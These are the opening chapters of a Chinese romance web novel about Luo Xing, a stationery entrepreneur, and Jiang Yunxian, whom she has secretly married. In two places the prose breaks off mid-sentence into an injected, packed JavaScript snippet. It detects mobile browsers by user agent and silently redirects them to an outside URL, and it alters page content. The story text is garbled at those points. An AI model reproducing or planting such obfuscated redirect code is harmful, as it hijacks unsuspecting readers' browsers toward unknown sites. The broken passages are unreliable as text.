《摘星星的人》 1. 楔子 十月到十二月,骆星忙得不可开交,Nebula工作室去不同的城市办文具快闪店,最后一站定在港市。 在这个节骨眼上,合伙人李似宜结束了一段长达三年零五个月的恋情。 李似宜是骆星的大学室友,两人相识多年,从大三开始共同经营自媒体账号,建立文创品牌Nebula,一路从线上发展到线下实体店,再后来又有了分店。 骆星像一个见证人,见证李似宜这几年事业顺风顺水,却在感情上频起波澜,与男友数次分分合合。 这次是因对方劈腿而彻底闹掰。 当日,骆星接待完最后一批探店博主,从快闪店出来,去酒吧找买醉的李似宜。 港市临街的商铺稠密,头顶新旧楼宇交融,红色双层巴士驶过刚下完雨的地面,带起一阵潮湿的风。 骆星拨开拂到脸颊的长发,钻进面前酒吧的窄门。在里面找了一圈,发现了卡座上的李似宜。 “你喝了多少?” 李似宜捧着酡红的脸颊蹭到骆星身上,傻笑道:“……一点点。” 骆星把李似宜肩上滑落的绿色吊带往上提了提,移开面前的酒杯,“别喝了。” “我没醉……”酒杯又被李似宜抢回来,她打了个酒嗝,对骆星倾诉:“本来打算今年过年把他带回去见家长的,还好没提前跟我妈说,不然、不然……” 话语哽住,变成了低声抽泣。 骆星不太会安慰人,也缺乏恋爱经验,李似宜说再多,她听到最后只干巴巴地问起最实际的问题:“车能要回来吗?” 据她所知,年初时李似宜给男方买了一辆车。 “还有大衣。” “手表。” “Montblanc的袖扣。” “Dunhill的打火机。” 骆星随便数了几样,哪样都不便宜。 李似宜被她提醒,顿时清醒不少,揩掉脸上的眼泪,“明天我去咨询一下陈律师。” 李似宜注重仪式感,与前男友交往的两年多里,大小节日都要过,互送礼物是必要环节。 她是家境优渥的富二代,手头阔绰,送出的东西往往比男方的贵。热恋中的人不计较金钱,只讲究心意,现在回头看觉得是自己是个傻叉。 “可是东西要回来我也嫌脏啊。”李似宜犹豫。 “别跟钱过不去。”骆星说,“东西可以折成钱,捐给山区小孩读书不比便宜渣男好?” 李似宜点点头,是这么个理。 “我其实想明白了,无论他再说什么、做什么,我们都没可能了,没喊人揍他一顿算好的……” 心里清楚是一回事,放下和释怀都还需要时间。 李似宜暂时缓不过来,看骆星这副冷静的样子,黏在她身上问:“星星,你谈过恋爱吗?” 骆星摇头。 李似宜觉得不可思议:“从学生时代到现在,一次也没有吗?” “没有。” “为什么呀,以前学校追你的人不少吧?”李似宜知道的就有两个大学校友,明里暗里追求过骆星,示过好。 “觉得有点麻烦。” 骆星想了想说,“我可能不适合谈恋爱。” “怎么就不适合了?” 骆星沉默,李似宜惋惜地捏捏她的脸,“白瞎了你这张漂亮脸蛋。” 酒吧门口突然涌入一群人,有的背着画板,有的挎着沉甸甸的帆布包。今晚有“Drink & Draw”活动,大批绘画爱好者聚在一起写生,喝酒,唱歌,跳舞。 他们踩着吱呀作响的木楼梯去了二楼,发出热闹的欢呼声。 李似宜指了指墙上的海报,上面公布这本写生的主题为“爱丽丝梦游仙境”。 “你不是也会画吗,去跟他们一起玩,交友好机会。”李似宜怂恿骆星。 骆星从阁楼收回目光,坐着没有动,提不起兴致。这些天在不同的城市连轴转,她有些累,睡眠也少,眼下一层淡淡青灰,靠遮瑕膏遮盖。 那群人玩很嗨,随着几声炸响,无数的金色碎片和缤纷彩带冲向天花板,又纷纷下落,有的飘到楼下来,他们在庆祝本周写生冠军的诞生。 骆星听着楼上热闹的动静,李似宜剥了颗醒酒糖含着。 没多久,一个cos疯帽的年轻男人下楼,过来搭讪。 男人带着高高的礼帽,压住像小扇子般炸开的红色假发,本地话夹杂着英语跟骆星打招呼: “从二楼看见你,忍不住画了……” 他画了骆星。 水彩还没完全干透,洇湿的淡蓝底色上,笔触勾勒出女孩纤瘦淡薄的侧影,米白的高领毛衣胸口别了一支袖珍麦穗胸针。 她略微低头,松散的长发挽成了髻,眼尾稍长,眸光不知落在哪里,壁灯的几点光斑印在她侧脸上,气质冷清。 骆星还没反应,李似宜抢过来说好看,欣赏一番,掏出手机拍照。 男人顺势在两人对面坐下,说他今年研二,每周五和同学来这家酒吧写生。 在聊天过程中,李似宜的失恋情绪被短暂转移,当起了红娘,想撮合骆星跟比她们年纪小的弟弟谈恋爱,而骆星全程心不在焉。 回到落脚的酒店,已经很晚,接近午夜十二点。李似宜洗完澡卷被子睡觉,酒精助眠,睡了自分手后的第一个好觉。 反倒骆星迟迟没睡着,翻出行李箱里的请柬又看了一遍。 孟家的老太太八十大寿,今年选在港市的傍山别墅办寿宴,这封请柬原本是寄给骆星的小姨章连溪的。 章连溪与洛京的孟家长子孟达有过一段婚姻,开始得轰轰烈烈,收尾却潦草仓促,没能善始善终。 章连溪不打算回去与前夫叙旧,也确实忙,让骆星替她跑这一趟。 两年前孟家老太太病了一场,之后就搬去了港市的高级疗养院,她娘家在这边,今年选择就近办寿宴,懒得来来回回地折腾。 骆星高中时跟着小姨在孟家生活过,老太太是家里为数不多向她表露过善意的人之一,不说多亲近,总归没苛待,骆星为此感激她。 老人家年岁大了,见一面,少一面,骆星最终拿着请柬在两天后赴约。 * 近月来港市多雨,傍晚骆星不好容易打到车,跟司机说了地址,司机从后视镜悄悄打量她一眼。 骆星裹着深色的薄毛呢大衣窝在后座,看窗外景色。 一路红灯,车子走走停停,缓慢驶向傍山别墅群。 车载电台里,主持人的声音夹杂在雨滴敲打车棚顶的动静里,有种机械感:“昨日凌晨,葵山乐队主唱江家显与一神秘女子现身四季酒店,两人频繁互动,举止亲密……” 路边的棕榈树在风雨中飘摇,昏黄的路灯光晕被切割成一段段碎片。 快到半山腰时,黑色的柏油路上聚集的豪车越来越多,引擎声轰轰,风驰电掣驶过,被甩开的租出车慢慢跟在队尾,像个年迈的老者。 前面的宾利畅通无阻地开进了院门内,出租车停靠在马路对面,过不了关卡。 “我就在这里下。”骆星出声。 她付完钱,撑着伞下车,外面雨势变大了,到别墅只有几米远的距离,裤脚还是不可避免地被打湿。 门口的迎宾员接过她的请柬,看清上面的名字,想到家主特地交代过的,不同于别的宾客,把骆星往宴会厅二楼引。 别墅修砌得宛如宫殿,室内金碧辉煌,过道里的长绒地毯完美地吸纳了脚步声。 面前房间的门半敞开,骆星看见了里面的人,好几个孟家亲戚围着轮椅上的老太太,热闹说笑。 里面的人也看见了她,纷纷侧目。 “哎呀,稀客呀——” 随着一道清亮又尖利的嗓音,骆星被女人拉入门内。 对方是孟家旁支的某个婶婶,与主家来往多,骆星记得她这把穿透力极强的好嗓子,和当年一样叫了她一声“秀婶”。 至于房间里的其他人,多年不见,面孔变得陌生,有的还留有印象,有的已经不知该叫什么。 何况,这么多人也叫不过来,骆星只好挤出模版似的微笑应对。 这一趟是专程为老太太跑的,她替小姨给老太太送上寿礼。 老太太看见她,浑浊的眼珠转动,颤巍巍地抬手喊道:“吉吉……” 吉吉是孟家一个重孙辈女孩的小名,今年才三岁。众人被老太太逗笑:“不是吉吉,是星星……” 骆星蹲在轮椅前,缓声道:“奶奶,我是骆星,您还记得我吗?” 老太太糊涂了,已经记不清人,片刻后又似想起来什么,改口道:“是星星啊。” 声音慢而恍惚:“星星今天不上学吗?” 骆星被那双苍老干瘪的手抚着脸颊,心里一酸,握住她的手说:“礼拜天,学校放假呢。” 老太太又说:“我都好久没看见你了,你跑到哪儿去了?” “去外面玩了。” “去玩了啊,”老太太絮絮叨叨重复着骆星的话,突然有点担心地问,“江家小子没欺负你吧?” 骆星表情微滞,顿了下,轻声说:“没有。” 老人的记忆显然还停留在过去,“我让他带你玩,多照顾你,别落下你一个人……” “你也不容易……”老太太叹息。 江家有两个跟骆星差不多大的男孩,不过周围的人一听都知道老太太嘴里的“江家小子”是谁。 是那个经常呼朋唤友,人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965861|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘好的老三江家显。 至于老二江云宪,十几岁才到江家,在场的长辈们都对他不太熟悉,只留一个囫囵印象,清瘦苍白的少年人,不爱说话,沉默到有些阴鸷,无论大人还是孩子,没谁喜欢亲近他。 骆星曾经作为江家显阵营里的一员,曾跟江云宪结过梁子,两人关系恶劣到各家的大人都有所耳闻。 三十年河东,三十年河西,世事变幻无常,谁又能料到章连溪会主动跟孟达离婚,骆星跟着脱离孟家,一脚跳出了富贵窝。 曾经最被看好的江家显进了娱乐圈,游戏红尘。 而那个半路冒出来认祖归宗的清贫少年,已声势煊赫,无人敢看轻。 唯一不变的,是孟、江、王三家依旧如虬枝峥嵘的古树深深扎根在洛京。钟鸣鼎食之家,底蕴深厚,上百年的积累传承,有了如今的崇高地位和资产人脉。 今年因老太太寿宴定在港市,又不打算大办,王家和江家来了人贺寿,但孙辈那几个关键人物均未露面,让不少有备而来的豪门太太与小姐们失望而归。 骆星告别老太太,出了房间,秀婶从后面跟上来,俨然如主人招般呼骆星落座。 秀婶是个好打听的性子,同一桌,迫不及待八卦起骆星小姨的现状。 当年章连溪跟孟达离婚让所有人大跌眼镜。在他们眼里,章连溪无权无势,什么背景都没有的小人物攀上了高枝就该紧紧抓住高枝,哪里主动出局,闹着要离婚的。 骆星含糊地说不清楚小姨现状,跟她联系少。 绣婶又问起了骆星的私事,谈没谈男朋友,做什么工作,在哪上班。 “跟朋友合伙开店,做点小生意。”骆星说。 “什么生意?” “卖东西。” “都卖些什么?”绣婶刨根问底。 “都有。” 绣婶问有没有线上店,骆星只好打开官网给她看,店铺页面设计风格清新,上架的有Nebula系列的原创手账本、印章、帆布包等各类文创产品。 “什么都卖,这不就是杂货铺吗?” 骆星点头,要这么说也没错。 绣婶没了兴趣,转而继续说起“男朋友”话题,“婶给你介绍一个!” 她兴致勃勃说起自己一位牌友的儿子,体制内,工作稳定,一表人才,人还老实。 说着掏出手机要给骆星瞧照片。 照片上的男人背靠旅游景区石碑,全身入境,身材五五分,地中海秃顶,皮夹克遮掩不住啤酒肚。 光看外表猜年龄,是可以给骆星当爹的程度。 秀婶问骆星:“加个联系方式?” “还不想找。”骆星拒绝。 “你自己的事情自己得上心的呀,我跟你说,你现在找正合适,等年纪大了就轮到别人挑你啦……” 同桌还有两个跟秀婶熟络的女人,参与进来,一个说自己儿媳的同事,三甲医院眼科主任,父亲早逝,与母亲相依为命,对女方不做别的要求,只一点,要孝顺,婚后与母亲同住。 另一个说自家侄子,王氏珠宝集团的销售总监,年入百万,身体健康。唯有一点小瑕疵,离异带俩娃。 几人抚掌而笑,替骆星高兴,连孩子都不用自己生,有现成的带,好福气! 华丽的水晶吊灯在餐盘上反射出耀目的光,骆星置身事外,慢条斯理地喝汤,填饱肚子要紧。 对方见她不搭腔,也冷了脸,这场口头相亲终于消停片刻。 饭吃得差不多,骆星离席去了趟洗手间。 尚未从隔间出去,隔着一扇门板,绣婶刻意压低的嗓音听起来依旧清晰,“要是章连溪没离婚,她还能挑一挑,如今没了和孟家沾亲带故的这层关系,谁看得上她,除了一张脸,还有什么……” 另一道声音:“我看她眼光高。” “该不会是惦记着江家的吧?” 像是听到了什么荒唐话,绣婶很明显地嗤笑一声,评判道: “差远了啦,高攀不上的。” 无论是本就受宠的江家显,还是后来居上的江云宪,都不是一个无父无母的孤女能肖想的。 齐大非偶,云泥之别,成不了好姻缘。 骆星等外面安静了,才打开隔间门出去,准备和老太太再打声招呼就离开。 长廊尽头窗户敞开,骆星被风吹得清醒了点,缓步上楼梯,好巧不巧,在拐角处又与绣婶撞上。 “星星呀,刚才婶跟你说的那个男生真不错,可以试着接触接触,给彼此一个机会,好姻缘就别错过了……你把联系方式给我,我让……” 对面密密匝匝的话劈头盖脸而来,骆星手机嗡地震动,屏幕上弹出一条消息。 【江:“在哪?”】 2. 楔子② 【江:“在哪?”】 简单两个字,让骆星心头一跳。她解锁手机屏,借回消息的由头避开绣婶。 【骆星:“在外面。”】 【骆星:“怎么了?”】 【江:“有份资料,想让你帮我去书房找找,急用。”】 【骆星:“抱歉,我不在家。”】 【骆星:“现在还在港市出差。”】 那边大概很忙,没有再回复。 骆星等了一会儿,见手机彻底没动静,才熄了屏。 照顾老太太起居的阿姨掩门出来,小声说老太太已经歇下了,骆星不便再打扰,径直出了门,从别墅离开。 夜雨淅沥,漆黑的地面反着光。 网约车还没到,她再次掏出手机,看了眼没动静的对话框。点开那人的头像,是只小狗的后脑勺照,黑黄两色的毛,炸乎乎的,看着还有点像狼。 这么多年过去,这位头像根本没变过。 不知是真长情,还是单纯懒得换。 骆星在对话框里敲:“资料的事解决了吗?” 片刻后,又一个字一个字删掉。 关心像是多余的,她在这段两人匆忙构建的亲密关系里找不到合适的位置。 许多时候,只能暂且搁置,不再去想。 * 十二月中旬,快闪店活动告一段落,港市之行也随之结束,骆星和李似宜带着小团队回洛京。 天气好,机场的大扇玻璃墙外白云飘浮,晴空万里。 骆星早餐没吃多少,捧着咖啡,困倦地歪在椅子上打瞌睡。 李似宜在手机上又抛了几个问题给陈律,想彻底摁死渣渣前男友。 团队里的几个小年轻刚办理完行李托运,兴高采烈地讨论着当下热播的网剧,大家都很放松。 机场不知是何时开始热闹起来的。 安保人员脚步匆匆,源源不断的人从四面八方冒出来。空气突然躁动,像一锅逐渐煮沸的水。 骆星不明所以,李似宜更是满头雾水:“这什么情况?” 团队里一个染粉色头发的实习生语气压抑不住兴奋:“是江家显……” “葵山乐队要来了!!!” 骆星闻言抬了下头,手机屏幕上自动弹出新闻APP推送的消息: “本次RSS机器人学术会议在苏黎世圆满落幕,来自全世界的专家学者齐聚一堂……” “揽星科技子公司银河医疗赴港上市,欲拓展新赛道,推进软体机器人技术在医疗领域的发展……” “揽星董事长兼CTO江云宪参与本次……” 骆星感觉手臂被身后的人群撞了下,李似宜抓住她,环顾四周乌泱泱的人海,“那个什么葵山乐队,真有这么火?” 工作室小伙伴点头如捣蒜:“真的!老板,你没听过那首歌吗,《我可以投降吗》?” 去年暑假大火的一首歌。 “就是他们唱的。” 机场已经堵塞,闹哄哄的,突然有人爆发出尖锐的一嗓子,歇斯底里叫着乐队名字。 乐队的几个成员依次走出闸口。 年轻鲜活的面孔,背着乐器,朝气蓬勃的样子。 在狂热的追星气氛中,骆星不由朝那个方向张望了一眼,继而收回了目光。 * 这次港市之行结束,骆星有一周假期,提前决定好要回乡探望外公。等她辗转回到枝陵时,天快黑了。 老街长长的,窄窄的,两旁高低落错的屋舍亮着灯。 家里的大门向外敞开,电视机里在播保健品广告,音量调得巨大,却不见有人。 骆星放下行李喊了两声,外公和小姨都没应。 正要给章连溪打电话,碰上对门邻居,说她小姨骑电驴摔了一跤,被送去医院了。她外公走得匆忙,连门也没关,邻居是来帮忙关门的。 骆星赶去医院,章连溪的左脚刚打完石膏。 章嵩戴着当地老人常戴的军绿色雷锋帽,眉头紧锁,一脸的不高兴。 “外公。”骆星走近。 章嵩看见她,严肃的表情才所有放松。 章连溪的情况不算特别严重,轻微骨折,医生说先留院观察一晚,没有太大问题的话可以回家养伤。 这几天章连溪行动不便,也不闲着,坐轮椅让骆星推她出门。 章嵩年轻时走南闯北,手底下聚集了一批能人,舞狮和唱戏是章家班的两大绝活。后来撑场面的几个老师傅陆续出走,徒弟跟不上,班子里青黄不接,逐渐没落,也没了自己的特色。 章连溪离婚后回小县城接手章家班,这几年接的活儿全是红白喜事上的演出,小品和歌舞为主,不再讲什么传承,单为混口饭吃。 用章连溪的话来说,越来越俗,沦落到上台讲荤段子。 章家班也改了名字,如今叫“金芙蓉艺术团”,不再用以前的招牌。 金芙蓉租了一个大仓库用作训练场地,对面是所职高,隔着围墙和几颗高大的乌桕树依旧能听见回荡在校园里的铃声。 三天后有一场演出,团队成员正在仓库抓紧排练。 章连溪作为领班,也就一档踩高跷的节目需要她亲自上场,但很显然现在她没办法登台。 骆星一看她讨好的眼神就知道她打什么算盘。 “我试试吧。”骆星无奈地说。 骆星小时候玩过踩高跷,功底或许还在。 这出戏四人同台,演的是《妙春献花》。 骆星代替章连溪,扮演妙春,她需要在台上给小将军的扮演者献花,踩高跷,另外配合一些手势动作。 连着两天,骆星早出晚归去仓库跟搭档们一起排练。她平衡感不错,记动作也快。 转眼就到演出当天,金芙蓉艺术团早早开车到了胡家。 胡家过世的老人已有百岁高龄,走得安详,家里气氛并不沉郁悲痛,一场白喜事办得隆重。 表演安排在晚饭后,天刚擦黑。 《妙春献花》压轴,前半程骆星没什么事做,坐在后台烤火。她换好了戏服,外边罩一件及膝羽绒服保暖。 章连溪拿着粉刷在她眼睑上扫来扫去,舞台妆夸张,大红大绿,像打翻了调色盘。 化完骆星照镜子一看,自己都认不出自己。 章连溪举起手机一顿拍,骆星扶着头上摇摇欲坠没别稳的塑料牡丹花,躲了下,留下半边扬起淡淡笑容的侧脸,露出点尖尖的小虎牙,让她小姨别闹了。 “紧不紧张?”章连溪问。 “希望顺利演完吧。”骆星说。她就是个临时凑数的,要说完全不紧张那是假的。 终于轮到《妙春献花》。 骆星跟搭档们一同登台,人悬在木头上,离地约三尺,绑腿绳和布条缠得很紧。 左右两边的大音响适时播放出震耳的音乐前奏,前方灯光雪白,像酷夏时节正午的太阳,刺得人睁不开眼。 骆星迈开腿,高跷触地走到台中央,还没几步,她就暗觉不妙。 因为连着下雨的缘故,到处湿漉漉的,舞台上几番人来来往往,大家的鞋底不可避免带上了水迹,地面比想象中要滑。 骆星一个不小心,没控制好身体重心—— * 胡家对面的酒店。 室内暖气熏人,武仲手底下几个研究生刚走,桌上留下厚厚一沓报告。 武仲拿起最上面的论文翻了翻,又放下,倒了两杯热茶,推开玻璃门,朝阳台栏杆前正吞云吐雾的人影走去,“不嫌冷啊你?” 江云宪摘下嘴里的烟回头,唇边呼出的白色烟圈飘散。他伸手接过纸杯,声音透着股冬日的懒怠,“透透气,你开完会了?” “今天就到这里了,让学生们先休息,明天再继续。” 武仲凑上前借火点烟,放松地长长舒了口气,“待会儿一起吃饭,你可不能逃,都巴巴盼着你去呢。” 江云宪可有可无地点头应了,动动手指,把烟灰磕在手边的花盆里。蓝花楹已经枯萎,掉光了叶子。 对面有人家办丧事,挽联和花圈堆成山。中间有个用黑色篷布搭起的戏台,敲锣打鼓,声音扰民。 江云宪指间猩红明灭,双眼瞥见戏台上的演出,跟武仲有一搭没一搭地喝茶闲聊。 大部分时间是武仲在倾诉,说手里的项目,说任教升职的重重阻碍,还有婚后的家庭琐事。 后面不知怎么把话题转移到江云宪身上,武仲开始八卦他的感情问题:“讲真的,这么些年了,你就不想找个人过日子?” “哪怕谈场恋爱也好啊,总不至于真有什么放不下的白月光……” 在国外那几年,圈子里某些人玩得很嗨,隔三差五就组织聚会与联谊,连带着书呆子武仲也参加了不少。 唯有江云宪岿然不动,像个入定的和尚。后来便有了传闻,说他在国内有惦记的女孩,但没有在一起过。 传言真真假假,武仲也不知道实情。 他不是没问过江云宪,但也问不出个所以然,这人对感情话题过敏,是真的半个字不提。 武仲还要说什么,与江云宪不约而同被对面戏台上的动静吸引了注意。 音乐停了又响,主持人刚报完幕,说压轴的《妙春献花》即将登场,踩着高跷的演员走出帷幕。 正在此时,变故突生—— 高跷打滑,向两边呲溜出去,踩在上面的女人左右摇晃两下,没能稳住身形,膝盖着地,直直朝前跪下去。 那一下,叫人看着便觉牙齿打颤。 得多疼啊。 表演却并未终止,因为演员没有叫停。 那女人撑着充当道具的木桌堪堪站起,没走两步又摔倒。如此重复了三次,才算真正站稳。 台下围观的人不少,鼓掌声稀稀拉拉。 * 演完全程,骆星才下台,章连溪忙给她披上衣服。 室外温度太低,她身上贴着暖宝宝也不太管用,冷得手脚僵麻,反倒盖过了膝盖的痛。 “有没有扭到?摔伤没有?严不严重?”章连溪着急地问。 骆星撩起裤腿粗略查看伤势,“不严重,我回去擦个药就好了。” 章连溪自责,“早知道就不让你上了,我宁愿换个节目……” “真没事。” 一同登台的演员也围了过来表示关心,见章连溪满脸凝重,骆星岔开了话题:“小姨,我饿了。” “对对对,你还饿着肚子呢,出去吃顿好的。” 章连溪有心犒劳大家,叫金芙蓉的二把手陈英带他们去下馆子。 章连溪自己作为班主得应酬,坐着轮椅也免不了留下来跟人喝两杯。 陈英领着金芙蓉一干人去了当地有名的酒楼。 酒楼晚上人爆满,只剩下大厅还有位置,众人挑了张大圆桌落座。 隔壁桌大概也想订包厢,没订到,其中一个戴眼镜、穿着打扮有些书生气的男生跟服务员确定了好几遍。 服务员只说不好意思,也没别的法子,下次提前预定。 骆星又累又饿,拆开碗碟的塑封膜,取出杯子倒了杯热水喝,想赶紧吃完回家洗个热水澡睡觉。 身体回暖后,膝盖上的疼痛感逐渐变得明显起来。 骨碌碌,隔壁滚来一支笔,滚到骆星椅子下边,方才那个与服务员交涉的男生追过来。 骆星弯腰,伸长了手够到笔,捡起来还给人家。 对方道谢。 刚点完菜回来的陈英认出他来,“小魏?” 男生是洛京农业大学的研究生,跟着导师做某个乡村建设项目,连着两年来枝陵底下的乡村走访,机缘巧合下与本地人陈英结识。 陈英对学历高的人有滤镜,又极度社牛,夸得小魏面红耳赤。 隔壁那一桌子全是小魏的同门师兄妹,他们聚餐,剩两个主位空着。 已经上了水果和前菜,却没一个人动筷。 郑重其事在等着什么人。 隔着半米高的隔断墙,骆星听见他们当中有人说,“导儿怎么还不来?” “肯定在跟江教授叙旧呗。” “我也想加入他们……” 这话一出,惹来阵阵哄笑。 骆星最近对“江”这个姓氏分外敏感,偏偏还有同样的后缀。 她心想,总不至于这么巧。 手里突然被塞了个塑料袋,是章连溪提前嘱咐金芙蓉的一个成员买来了药油,骆星解开袋子看了看,里面还有软膏和棉签。 “谢谢,”骆星说,“多少钱,我转给你。” “班主给过钱啦,你赶紧去擦药吧。” 餐桌周围空间狭小,人又挤,骆星拎着塑料袋起身,问服务员洗手间的位置。 这时,隔壁桌的学生不约而同地站起身,七八个人齐刷刷的动作,颇引人瞩目。 个个收敛了谈笑,神情变得拘谨。 骆星循着他们的视线,看见一高一矮的两个男人,向这边走来。 骆星只注意到后面那个格外高的,被黑色大衣衬得身形挺阔颀长,鼻梁上架了副银框眼镜,掩住漆黑眼睫,线条凌厉的面部轮廓被倾泻的白炽灯虚化,如玉般泠然。 从外面进来,携风带雨。 骆星只敢偷看这一眼。 瞬间别开目光,侧过身躲避,快步走开了。 她进了洗手间,迎着灯光看镜子里的人,拆除了繁复的头饰后,随意挽了个低低的马尾,浓厚的舞台妆没有完全卸干净。 脸颊上晕染着粉紫的色块,眼妆斑驳,沙砾般的亮片黏着眼睑下一小片皮肤,擦不干净。 怎么看,都有些滑稽。 就现在这张脸,骆星暗暗祈祷,又心怀侥幸,刚才的匆匆一眼应该不至于让江云宪认出她。 这家酒楼的洗手间是男左女右的划分,中间的公共区设置了两排洗手池,靠墙的角落有几个树状圆墩,和两盆用作装饰的圆叶蒲葵。 骆星坐在圆墩上再次检查膝盖,伤势看着比半小时前瘆人。 白皙皮肤被大片淤青覆盖,骨骼支起处透出泛黑的绛紫色,渗出猩红的血点。 骆星叹了口气,拆开药油和棉签的包装。 药油的瓶盖格外难拧,她两根手指被磨得通红。 大力拧开的一瞬,瓶盖飞了出去,棉签从塑料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965862|161230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋口滑落,散了大半,眨眼间遍地狼藉。 手机还凑热闹地嗡嗡响。 骆星顿觉头疼,手忙脚乱地接起这通来自章连溪的电话。 “……是,买药给我了,药油和喷的都有。” “她说你给钱了,不肯收我的钱。” “好,嗯,我知道……你别喝太多酒……” 骆星听着电话,低垂的视野中惊现一只男人的手。 修长干净,骨节分明,手背皮肤下绷起的青筋和嶙峋的腕骨隐隐透出力道。 他弯腰捡起瓶盖给骆星,骆星下意识张开手掌接着,又见他把那些弄脏的棉签一根根拾起,扔进垃圾桶。 章连溪的电话已经挂断,骆星曲着一条腿,青紫的膝盖裸露在外,像一尊被海浪冲刷的礁石,禁锢在圆墩上动弹不得。 江云宪比她自然。 省略掉寒暄,半蹲在她面前,替她检查膝盖。 “脚踝有没有扭到?”他问。 “没。” 骆星听见自己虚浮的声音,落不到实处。 脚踝被温热的手指握住检查。 骆星的心脏好像被同时攥紧,被烫着一缩。 她那点儿往回撤的力道对江云宪而言,可以忽略不计,他带茧的指腹试探性地按压了几处位置。 “这里有没有受伤?” “没有。” 这次骆星回答得更快。 她甚至忘了伤口的疼,惦记着脸上惨不忍睹的妆,心里满是窘迫。 刚想问江云宪怎么来了枝陵,就见他接了个电话。 武仲在电话里问江云宪人哪儿去了,菜都上齐了。 “你们先吃。”江云宪说。 “你江大教授不来,这群小崽子不敢动筷啊。” “不用等我。”江云宪敷衍道,视线片刻不离圆墩上的人。出风口正对这边,她鬓边绒绒的碎发随风而动,扫过眼尾。 江云宪没忍住,伸手拨了下,仿佛再熟稔不过的、臆想中做过千百次的动作。 骆星微僵,始作俑者却浑然不觉,仿佛真在专心应付这通电话,直到结束。 “我一个朋友来这边出差,约我吃饭。他是农大的老师,还有几个学生也在。” 骆星反应两秒,意识到江云宪在向自己解释和交代。 他却没问她是怎么伤的。 江云宪拿起墨绿色的扁口玻璃瓶,把药油往手上倒,几下搓热了掌心,敷上骆星的膝盖。 “有点疼,忍着点。” 骆星顿觉一阵辛辣灼痛从皮肉里烧起,被点了一把熊熊烈火。 她忍痛不肯发出半点动静,缄默地看着蹲在面前替她上药的江云宪,用目光描摹他乌黑发间小小的发旋。 那张侧脸清隽,半边身体泯没在蒲葵撑开的扇状阴影里,连颈间的皮肤都被镀上些许灰调的冷意。 直到他说:“好了。” 骆星回过神。 “先晾一晾,别全蹭掉了。” 江云宪打开水龙头,冲掉指缝间残留的药油。 他没有着急走,过了几分钟后,等骆星一节节放下堆叠在膝上的宽松裤腿,他弯腰收拾好塑料袋,随她一同走出去。 “吃完饭回去吗?”他问。 骆星点头。 “住在外公家?” “嗯。” “等我一起,还没去拜访过。” 好像只是普通的寒暄。 不像多年未见的朋友,更不像新婚的丈夫与妻子。 通往酒店大厅的走廊,很短的一段路程,骆星心生恍惚,她至今仍觉得不真实。 她没骗李似宜,她真没谈过,但三个月前,骆星和面前这个男人领了结婚证。 他是绣婶口中如今已“高攀不上”的江云宪,也是当年小厘山上穿着旧衣的清癯少年。 他们认识的时候才十七岁,他们的遇见没有任何供人遐想的空间,是一场反浪漫主义。伴随着酷夏的暴雨,和灰尘蒸腾的沉闷躁意,像季风过境,途经骆星动荡不安的梦。 片刻的走神后,骆星回到了自己的饭局上。 这顿饭她吃得心不在蔫,陈英跟她讲客气话,说不好意思刚才众人没等她就先吃上了。 骆星不在意地摇摇头,心思还遗落在隔壁桌。她与江云宪的直线距离不到半米,背对而坐,一个回头便能看到。 “能不能借我一片卸妆巾?” 饭吃到一半,骆星搁下筷子,向旁边的女孩借了卸妆巾和小镜子,细致地擦掉了脸上涂抹不均的细粉和亮片。 粉白脸颊恢复了素净,五官清秀,像水墨画里云销雨霁处的留白,浓淡相宜。 32号桌众师生离席的时候,33号桌的金芙蓉众人还没散场。 江云宪拿起椅背上的大衣,搭在手臂上,把武仲送出酒楼大门,自己却不走。 武仲有些莫名,摸不准他打什么算盘。 “等人。”江云宪说。 几个学生也赖在原地,拖拖拉拉的,武仲打发他们回宾馆休息,他们不怎么乐意。 “行了行了,”武仲看穿学生们的小心思,打趣道,“想跟江教授合影直说啊,有我在,这个面子还是有的。” 说完用手拍拍江云宪,“得有吧?” 江云宪淡笑:“有。” 学生们雀跃,一窝蜂挤过来,叽叽喳喳商量站位。 这时,酒楼大门口涌出一群人,金芙蓉那桌终于散场了。 他们因为今晚登台演出的缘故,无论男女,脸上都带浓妆,有的没来及卸便来了酒楼填肚子,被室内的暖风热汤一熏,劣质妆容脱落,变成潦草鬼面,颇具视觉冲击。 又喝了酒,七嘴八舌,打翻了麻雀窝。 骆星是其中最安静的一个。 耳边太吵,她随着人潮低头往外走,没注意到大理石柱后预备拍照的师生。 “阿星——” 江云宪这一声有些突兀。 声线低沉,平静无澜的语气,分贝也没有多大,却在嗡嗡的嘈杂里穿透空气,让骆星定在原地。 “过来这边。” 骆星也不知怎么被邀请进了拍照的人群当中,她被簇拥着,站在江云宪身边。 武仲和学生们目光在她和江云宪之间流转,好奇快要从眼里溢出来。 “不介绍一下?”武仲率先问江云宪。 “我太太。” 骆星听见江云宪这么说,浓密的长睫仓促地眨了下,海藻般的长发散在雪白的颈窝里,脸被围巾遮挡住大半。 突如其来的惊天八卦震得武仲一懵,他先前可是没听见半点风声。学生们则在起哄,都是一副想问不敢问的样子。 众人表情精彩纷呈。 被委托拍照的门童端着相机,让大家看前方。 骆星配合大家拍合照时,习惯行地微微扬起唇角。左手边是江云宪,手臂挨着手臂,他们之间没有间隙。 远处的镰刀月像盏火苗微弱的夜灯,近处霓虹闪烁。 画面定格的那秒,所有人看向镜头。 而江云宪在看骆星。 